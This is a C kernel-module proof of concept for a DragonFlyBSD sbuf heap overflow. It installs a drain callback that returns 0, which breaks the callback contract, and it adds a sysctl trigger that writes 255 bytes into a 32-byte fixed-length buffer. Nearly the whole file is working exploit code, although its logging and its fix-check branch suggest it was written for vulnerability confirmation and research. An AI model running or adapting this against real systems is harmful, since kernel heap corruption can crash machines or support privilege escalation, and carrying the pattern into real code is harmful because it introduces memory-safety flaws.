/*
 * DF-2845 PoC (instrumented) -- DragonFlyBSD sys/kern/subr_sbuf.c
 *
 * sbuf_drain() trusts the drain callback's return value; the only guard
 * against a drain returning 0 is KASSERT (subr_sbuf.c:336), compiled out
 * on non-INVARIANTS kernels.  This module registers a contract-violating
 * drain (returns 0 = "consumed nothing, no error") and, on demand via
 * sysctl, overfills a 32-byte FIXEDLEN sbuf.
 *
 * Step markers localize any crash precisely.
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sbuf.h>
#include <sys/sysctl.h>
#include <sys/errno.h>

static int	df2845_trigger = 0;

static int
df2845_drain_ret0(void *arg, const char *data, int len)
{
	kprintf("DF2845:        drain called with len=%d -> returning 0\n", len);
	return (0);
}

static int
df2845_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct sbuf *sb;
	char payload[256];
	size_t i;
	int rc, error;

	error = sysctl_handle_int(oidp, &df2845_trigger, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	kprintf("DF2845: [1] allocating 32-byte FIXEDLEN sbuf\n");
	sb = sbuf_new(NULL, NULL, 32, SBUF_FIXEDLEN);
	if (sb == NULL) {
		kprintf("DF2845: sbuf_new failed\n");
		return (ENOMEM);
	}
	kprintf("DF2845: [2] installing 0-returning drain\n");
	sbuf_set_drain(sb, df2845_drain_ret0, NULL);

	for (i = 0; i < sizeof(payload) - 1; i++)
		payload[i] = 'A' + (i % 26);
	payload[i] = '\0';

	kprintf("DF2845: [3] catting 255 bytes (drain fires at byte 32)\n");
	rc = sbuf_cat(sb, payload);

	kprintf("DF2845: [4] sbuf_cat rc=%d s_error=%d s_len=%zd s_size=%zd "
	    "(buffer kmalloc'd for 32 bytes)\n",
	    rc, sb->s_error, sb->s_len, sb->s_size);
	if (sb->s_len >= sb->s_size) {
		kprintf("DF2845: OVERFLOW CONFIRMED: %zd byte(s) written past "
		    "the end of the 32-byte heap allocation\n",
		    sb->s_len - sb->s_size + 1);
	} else {
		kprintf("DF2845: BLOCKED: no overflow, sbuf error discipline "
		    "held (fix present?)\n");
	}
	/* Intentionally no sbuf_delete(): state is the evidence. */
	return (0);
}

static int
df2845_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		SYSCTL_ADD_PROC(NULL, SYSCTL_STATIC_CHILDREN(_debug),
		    OID_AUTO, "df2845_trigger", CTLTYPE_INT | CTLFLAG_RW,
		    &df2845_trigger, 0, df2845_sysctl, "I",
		    "DF-2845: overflow a FIXEDLEN sbuf via 0-returning drain");
		kprintf("DF2845: module loaded; run "
		    "'sysctl debug.df2845_trigger=1' to trigger\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("DF2845: module unloading\n");
		return (0);
	default:
		return (0);
	}
}

DECLARE_MODULE(baddrain, df2845_modevent, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(baddrain, 1);
